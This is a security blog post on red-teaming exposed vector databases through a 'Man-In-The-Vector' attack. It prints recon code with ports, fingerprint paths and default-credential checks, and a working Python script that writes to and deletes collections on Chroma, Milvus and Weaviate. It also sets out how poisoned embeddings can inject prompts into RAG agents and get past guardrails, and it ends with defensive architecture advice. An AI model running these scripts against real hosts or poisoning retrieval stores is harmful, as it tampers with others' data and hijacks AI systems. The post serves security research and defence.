AI RED TEAMING – man-in-the-vector Attack & custom Tooling

Want deeper dives into AI vector embedding attack vectors? See more at Security Sandman.

This article provides practical examples to assist red teams and security researches to find and exploit vulnerable AI systems using Vector Databases and even flow chaining tools. I’ve prototyped some simple tools to demonstrate the attack chain and later I’ll finish with security architectural advice which security defenders can use to mitigate the Man-In-The-Vector attack.

It goes without saying, these same tools can be weaponized as malware so I won’t be making them public. With great power, comes great responsibility. I’ve found thousands of these exposed systems on the internet and some in practice in real life, I sincerely hope the learnings from this article empowers you to be AI security champion and improve these AI systems alongside me.

Attack Chain Example – Man-In-The-Vector

---

Vec-Tective (Recon)

What Vec-tective Actually Does (and Why It Matters)

This isn’t a push button exploit, it’s my own custom built reconnaissance and triaging suite behind a real-world Vector DB embedding pen test strategy.

Firstly, I prototyped a custom IP and url recon tool that can be used to create our target list. In my case, I can query either Shodan or for corporate settings, a WIZ.io API. Out of respect for the community, I’ll omit the specific IPs and domains in the findings.

Secondly, I built an extensible fingerprint tool that can be imported into MetaSploit. This tool is part of the ReCon phase to identify targets for MitM embedding poisoning RCE injection attacks.

Thirdly, I created a report generation utility that summarized the findings for executive reporting on the broader MitM and supply chain risk to exposed AI systems.

Source: Recon results from fingerprinting vulnerable AI systems on Shodan

1. Discovery of Exposed AI & Vector Backends

The tool scans standard and nonstandard ports (e.g. Milvus at 19530, Chroma at 8000, Kibana at 5601) because these endpoints often expose the vector DB embedding layer itself:

TOOL_PORTS = [
80, 443, 8000, 8001, 8080, 8081, 8443, 8888, 19530, 19121, 6333, 6334, 9200, 9300, 5000, 5001, 3000, 3001, 9000, 7000, 7001, 5601, 7860, 7861, 8501, 8502]

Why:
If the vector layer is exposed, that’s a needle in the haystack for embedding poisoning or manipulation.

---

2. Fingerprinting for Precise Identification

It hits paths like /swagger, /openapi, /v1/graphql, etc., looking for product artifacts i.e. Milvus, Weaviate, Qdrant, Chroma, Flowise, Elasticsearch.

PRIORITY_PATHS = [
    "/",                    # Root
    "/health",              # Health/status check
    
    # API documentation/UIs
    "/docs",                # Swagger docs
    "/swagger",             # Alt Swagger
    "/api/v1/",             # Main API base

    # Search and query endpoints
    "/_search",             # Elasticsearch & clones
    "/v1/graphql",          # Weaviate GraphQL

    # Collections and resource listings
    "/collections",         # Chroma/Milvus-style

    # Identity/whoami endpoints
    "/actions/whoami",      # Common identity/info
]

FULL_PATHS = [
    # Root and health endpoints
    "/",
    "/health",

    # Documentation and API UI endpoints
    "/docs",        # Swagger docs
    "/swagger",     # Alternate Swagger docs
    "/openapi",     # OpenAPI spec
    "/redoc",       # ReDoc UI

    # API base and schema endpoints
    "/api/v1/",             # Main API base
    "/v1/meta",             # Weaviate meta/info
    "/v1/schema",           # Weaviate schema

    # Resource and vector endpoints
    "/api/v1/vector/",      # Milvus/Chroma vector ops
    "/api/v1/collection/",  # Milvus/Chroma collection ops
    "/collections",         # Chroma/Milvus/Weaviate collection listing
    "/databases",           # General DB listing (less common)

    # Object/data endpoints
    "/v1/objects",          # Weaviate objects

    # Search and query endpoints
    "/_search",             # Elasticsearch/Weaviate/Chroma search
    "/v1/graphql",          # Weaviate GraphQL API
    "/_cat",                # Elasticsearch _cat API
    "/_cluster/health",     # Elasticsearch cluster health
    "/_nodes",              # Elasticsearch node info

    # User/identity endpoints
    "/actions/whoami",      # Identity/info endpoint
]

Why:
It’s not just a port, a tester needs to know what’s exposed to exploit a Man-In-The-Vector attack.

---

3. Default Credential Testing

Uses a curated credential dictionary:

for user, pw in creds:
    try_basic_auth(url, user, pw)
    try_login_endpoint(url, user, pw)

Why:
Most vector DB admin UIs or API endpoints typically ship with weak defaults, giving you both discovery and takeover capability. Even if a dev instance, the AI platform may be loaded with real data or ability to automate infrastructure.

---

4. CVE Version Mapping & RCE Prioritization

When version info appears (via banner, /meta, or swagger responses), Vec-Tective references a CVE database:

if version:
    cves = cve_lookup(product, version)
    if cves:
        log_high_severity_cves()

def extract_version(response_text, headers, service_type):
    """Extract version information from response headers or body using regex patterns."""
    version_patterns = {
        # Elasticsearch version extraction
        "elasticsearch": [
            r'"version"\s*:\s*{\s*"number"\s*:\s*"([^"]+)"',  # JSON object: {"version":{"number":"7.9.2"}}
            r'elasticsearch[\/\s](\d+\.\d+\.\d+)',            # e.g. "elasticsearch/7.9.2"
        ],
        # Kibana version extraction
        "kibana": [
            r'"version"\s*:\s*"([^"]+)"',                    # JSON: {"version":"8.2.0"}
            r'kbn-version["\s]*:\s*["\s]*([^"\\s]+)',        # HTTP Header: kbn-version: 8.2.0
        ],
        # Milvus version extraction
        "milvus": [
            r'"version"\s*:\s*"([^"]+)"',                    # JSON: {"version":"2.2.10"}
            r'milvus[\/\s]v?(\d+\.\d+\.\d+)',                # e.g. "milvus v2.2.10"
            r'version["\s]*:["\s]*([^"\\s]+)',               # "version: 2.2.10"
        ],
        # Weaviate version extraction
        "weaviate": [
            r'"version"\s*:\s*"([^"]+)"',
            r'weaviate[\/\s]v?(\d+\.\d+\.\d+)',              # e.g. "weaviate v1.19.0"
        ],
        # ChromaDB version extraction
        "chroma": [
            r'"version"\s*:\s*"([^"]+)"',
            r'chroma[\/\s]v?(\d+\.\d+\.\d+)',                # e.g. "chroma v0.4.8"
        ],
        # Pinecone (extend as needed!)
        "pinecone": [
            r'"version"\s*:\s*"([^"]+)"',
            r'pinecone[\/\s]v?(\d+\.\d+\.\d+)',
        ],
        # Qdrant (extend as needed!)
        "qdrant": [
            r'"version"\s*:\s*"([^"]+)"',
            r'qdrant[\/\s]v?(\d+\.\d+\.\d+)',
        ],
        # Fallback/generic version extraction
        "generic": [
            r'version["\s]*:["\s]*([^"\\s]+)',               # e.g. "version: 0.4.0"
            r'v(\d+\.\d+\.\d+)',                             # e.g. "v1.2.3"
            r'(\d+\.\d+\.\d+)',                              # any x.y.z
        ]
    }

    # ...your extraction logic here (unchanged)

Why:
If you’re considering embedding tests, vulnerable versions may allow RCE when authentication is configured properly.

---

5. API Access & Data Exposure Checks

Vec-Tective actually tests unauthenticated access to data endpoints:

r = requests.get(f"{base_url}/api/v1/collections")
if r.status_code == 200 and r.json():
    log_unauthed_data_access()

Why:
Unauthenticated control or exfiltration of embeddings is exactly how semantic manipulations or Man-In-The-Vector prompt injection attacks begin.

---

How this helps test Embedding & RAG Attacks

Source: Results of the Vec-Tective Recon Tool

Let’s walk through a red-team AI infra chain:

1. Surface discovery: Using the scanner, you find a vector DB or Flowise chaining tool.
2. Version & credential checks: Determine if unsafe version or default creds allow deeper access.
3. Data probing: Fetch collections or embeddings, potentially leaking internal prompt context or API keys.
4. Embedding drift tests: Inject test embeddings via admin endpoint (if available) to gauge poisoning potential and collapsed nearest neighbor data retrieval points.
5. Prompt injection chaining: Use drifted context to hijack LLM outputs in upstream RAG/chat systems, bypassing guardrails or prompting unwanted behavior

---

Why This Matters: From Discovery to Exploit

• Step 1: Surface-level discovery will find the vector DB or workflow endpoint.
• Step 2: Validate attack vector, default creds, versioned endpoints, exposed APIs.
• Step 3: Insert semantic payloads into embedding space, test whether you can override logic or trigger prompt poison w/o ever needing to compromise the client/agent.
• Step 4: Test downstream effects and LLM responses, chain execution, agent automation drift and exploit payload execution.

---

Man-In-the-Vector Tool (delivery)

Exploiting the middleware of the the AI system

Source: Custom Script to abusing vector DB APIs

After discovering high value targets for embedding leakage and poisoning, a tester may want to actually insert themselves in the middle of the AI Agent workflow and effect any upstream processes from the Vector database.

To demonstrate the concept, I’ve prototyped a simple and comical example, omitting actual dangerous payloads but instead inserting benign payloads that can showcase the potential danger.

import argparse
import requests
import json
import sys

# Example "silly" test payloads
SILLY_VECTOR = [0.13, 0.37, 0.21, 0.99]
SILLY_TEXT = "What do you call an AI that makes bad jokes? A neural pun-net."
HEADERS = {"Content-Type": "application/json"}

def run_chroma_tests(base_url, action):
    if action == "list":
        r = requests.get(f"{base_url}/api/v1/collections")
        print("[Chroma] Collections:", r.json())
    elif action == "create":
        payload = {
            "collection_id": "puns",
            "embeddings": [SILLY_VECTOR],
            "metadatas": [{"text": SILLY_TEXT}]
        }
        r = requests.post(f"{base_url}/api/v1/embeddings", json=payload)
        print("[Chroma] Create embedding:", r.json())
    elif action == "delete":
        col = "puns"
        r = requests.delete(f"{base_url}/api/v1/collections/{col}")
        print(f"[Chroma] Deleted collection '{col}':", r.status_code)
    else:
        print("[Chroma] Unknown action")

def run_milvus_tests(base_url, action):
    if action == "list":
        r = requests.get(f"{base_url}/api/v1/collections")
        print("[Milvus] Collections:", r.json())
    elif action == "create":
        payload = {
            "collection_name": "dadjokes",
            "vectors": [SILLY_VECTOR],
            "payload": [{"text": SILLY_TEXT}]
        }
        r = requests.post(f"{base_url}/api/v1/vectors", json=payload)
        print("[Milvus] Create vector:", r.json())
    elif action == "delete":
        col = "dadjokes"
        r = requests.delete(f"{base_url}/api/v1/collections/{col}")
        print(f"[Milvus] Deleted collection '{col}':", r.status_code)
    else:
        print("[Milvus] Unknown action")

def run_weaviate_tests(base_url, action):
    if action == "list":
        r = requests.get(f"{base_url}/v1/schema")
        print("[Weaviate] Schema/classes:", r.json())
    elif action == "create":
        payload = {
            "class": "PunClass",
            "properties": {
                "text": SILLY_TEXT
            }
        }
        r = requests.post(f"{base_url}/v1/objects", json=payload)
        print("[Weaviate] Create object:", r.json())
    elif action == "delete":
        print("[Weaviate] For delete demo, you need an object ID. Skipping for demo.")
    else:
        print("[Weaviate] Unknown action")

def auto_detect_service(url):
    # crude but effective for demo, use ports
    if ":8000" in url or "chroma" in url:
        return "chroma"
    elif ":19530" in url or "milvus" in url:
        return "milvus"
    elif ":8080" in url or "weaviate" in url:
        return "weaviate"
    else:
        return "unknown"

def main():
    parser = argparse.ArgumentParser(description="Silly Vector API Demo Tester")
    parser.add_argument("--targets", default="targets.txt", help="File with targets (host:port or URL)")
    parser.add_argument("--action", choices=["list", "create", "delete"], required=True,
                        help="Which silly test to run: list, create, or delete")
    args = parser.parse_args()

    try:
        with open(args.targets) as f:
            targets = [line.strip().split()[0] for line in f if line.strip() and not line.strip().startswith("#")]
    except Exception as e:
        print(f"Could not read targets: {e}")
        sys.exit(1)

    for target in targets:
        url = target if target.startswith("http") else f"http://{target}"
        service = auto_detect_service(url)
        print(f"\n🛰️ Target: {url} | Detected: {service}")

        try:
            if service == "chroma":
                run_chroma_tests(url, args.action)
            elif service == "milvus":
                run_milvus_tests(url, args.action)
            elif service == "weaviate":
                run_weaviate_tests(url, args.action)
            else:
                print("Unknown or unsupported service.")
        except Exception as exc:
            print(f"Error testing {url}: {exc}")

if __name__ == "__main__":
    main()

In this example, SILLY_TEXT and SILLY_VECTOR would be replaced with actual coordinates and instructions that are appropriate for the AI system itself. This may be returning data to a lower privileged user, returning automation instructions for the agent to process or simply providing bad advice.

Additionally, most vector DBs offer other APIs such as creating new root APIs, creating local users and more nuclear options such as DELETE. Expanding this python script to other APIs would ultimate result in persistence or a complete failure of the upstream systems and business processes.

Vector-Fang (Exploitation)

Client Side Vector Collision Fuzzer

Did my vector poisoning actual work? But how do you know the Man-In-The-Vector attack worked. You’ll need to query the Vector database / and or agent client to test the results to ensure the poisoned results are being returned as nearest neighbors to the likely agents queries. This is where something like my custom VectorFang testing tools comes into play.

How Does Vector-Fang Work?

• Fuzzed, Real-World Attack Prompts:
  The tool comes preloaded with “attack” queries that you can customize like prompts designed to trigger privilege escalation, force LLM jailbreaks, leak secrets, or trick a system into exposing sensitive logs.
• Embedding & Query Simulation:
  Each attack string is converted into a semantic embedding using SentenceTransformers, just like a real RAG pipeline would.
• Search for Impact:
  Each embedding is sent to the vector DB (e.g., Weaviate, Milsus), asking: What’s the most similar document or response?
  The script looks for anything that comes back labeled as dangerous (e.g., “poison”, “leakage”, “jailbreak”).
• Certainty Scoring:
  If the database thinks the query matches a dangerous record with high certainty, the tool flags it and shows the evidence:
  • Query text
  • Returned document
  • Dangerous category
  • Similarity/certainty score
• Reporting:
  All results are saved for analysis and auditing.

---

Why Does This Matter?

• You can now prove (or disprove) that your poisoning attack or semantic drift is returning the poisoned payloads.
• Blue teams can use it to audit whether previously “clean” collections are at risk of surfacing something toxic or leaking secrets.

If the tool finds high-certainty matches for your attack, you’ve confirmed the exploit path may work.

Command and Control

Of course this does not demonstrate the actual effect on a upstream agents and clients, it only demonstrates there is a high likelihood the Vector DB is a path to inject malicious embeddings that have a high likelihood of a Man-In-The-Vector Attack.

This is where the practical side of the article ends and the theoretical side of the article begins.

Security Architecture / RemedIation

How can you plan to mitigate these type of attack chains?

While some options are oldies but goodies, other’s vary as the technology stacks mature based on their current feature sets. The classic layered approach with compensating controls are going to be your best friend.

• Network Isolation: If you lock down you Chaining and VectorDBs then recon and exploit become more difficult. While day-to-day developer tools may be more difficult to lock down, at least choke the vector DB to approved ETL tools and Pipeline tools etc. That way, the path to compromise is the pipeline tools, chaining tools or client agent, not the direct infrastructure. Then build robust control around the central points of failure.
• IAM: Not all feature are equal, cloud based tools build on native IAM features while (e.g. AWS IAM roles and STS) while self-hosted opensource solutions either don’t have strong AuthN or AuthZ and at least have more recently released these features. Enable authentication, change the default password to a long complex one, store it in a secure secrets manager and not in source and don’t use and pipe admin/root break glass account into tooling logs. Where possible, explore locking down different agentic workflows with RBAC to specific collections and tables.
• mTLS: Where possible, enforce mTLS to the vector DB. If a compromised cred is taken-over, the attack still needs to the client cert and key pair to succeed.
• Guard Rails. Although imperfect, apply input validation on the upstream agent and clients. Injection attacks can happen both from the client and the the Vector DB as illustrated here. All inputs, should be caught regardless of source (i.e. assume breach!), all inputs should run through a guard rail system, before processing back to client.
• Detective Controls: Detect basic brute force and anonymous access. Detect use of the admin/root credential. If inserts to VectorDB only happen from approved tooling and source IPs, then custom rule can be built to find insertions from unknown systems. If mTLS has been implemented, then detection can be built on these failures. Common GaurdRail systems can also pipe out events which can be picked up from most log forwarders. Collectively, these detections can expose issues up and down the attack chain.
• Signed embedding (theoretical): While not supported natively in practice, embedding can be signed and clients could validate the signature before processing, to ensure they came from a trusted source.

Architectural Reference Cheat-Sheet

Tool / Platform	Authentication Methods	RBAC Maturity & Scope	Pipeline / Collection Restrictions	Upstream Input Validation	Data Integrity / Authenticity
Weaviate	API key, OIDC (JWT), optional anonymous access Weaviate Community Forum | GitHub Example | Weaviate Docs	Full RBAC via custom role definitions; OIDC groups_claim maps to roles Weaviate Docs	Per-class (schema) or per-object controls via RBAC config GitHub Example	Not native; can be enforced upstream via firewall or query validation logic	No built-in support for signature or PKI; could layer external signing on ingestion
Milvus	Local auth with username/password, TLS encryption. No native OIDC/SAML support GitHub | Milvus Docs	Row-/collection-level RBAC via Python/Java SDK; fine-grained user/role mapping Zilliz Blog | Milvus Docs (RBAC) | Milvus User/Roles	Yes — roles can control access by collection or partition	Not built-in; must use external policy enforcement around ingestion/query APIs	No native digital signature; must implement client-side or middleware signing
Chroma	Basic auth or custom auth via OpenFGA integration GitHub | Chroma Cookbook	No built-in RBAC; supports custom authorization via OpenFGA or Cerbos integrations Chroma Cookbook | Cerbos Blog	Only enforced at application layer using external policy service	External enforcement (e.g. via Cerbos or agents before vector ingestion)	Requires downstream design for integrity; not supported natively
Flow tools (LangFlow, Flowise)	Typically no default auth; may support plugin auth	Few support metadata-based permissions. Most rely on upstream API guarding or identity proxies	Flow-level control often weak; flows are editable by any authenticated user if auth exists	Some support plugin-based input validation (Llama Firewall wrappers)	No built-in signing; workflows consume vectors but don’t authenticate them
Agentic LLM stack	Depends on orchestration framework or gateway (e.g. LangChain, Meta Firewall)	RBAC often externalized (e.g. via orchestration IAM)	Good controls possible via orchestrator or policy layer (e.g. block flows, callers)	Tools like Meta’s Llama Firewall can scan every prompt/upstream input	You can build integrity verification: embed signatures in metadata and validate on ingestion or retrieval

Thanks for Reading, I hope you enjoyed.

-SecSandman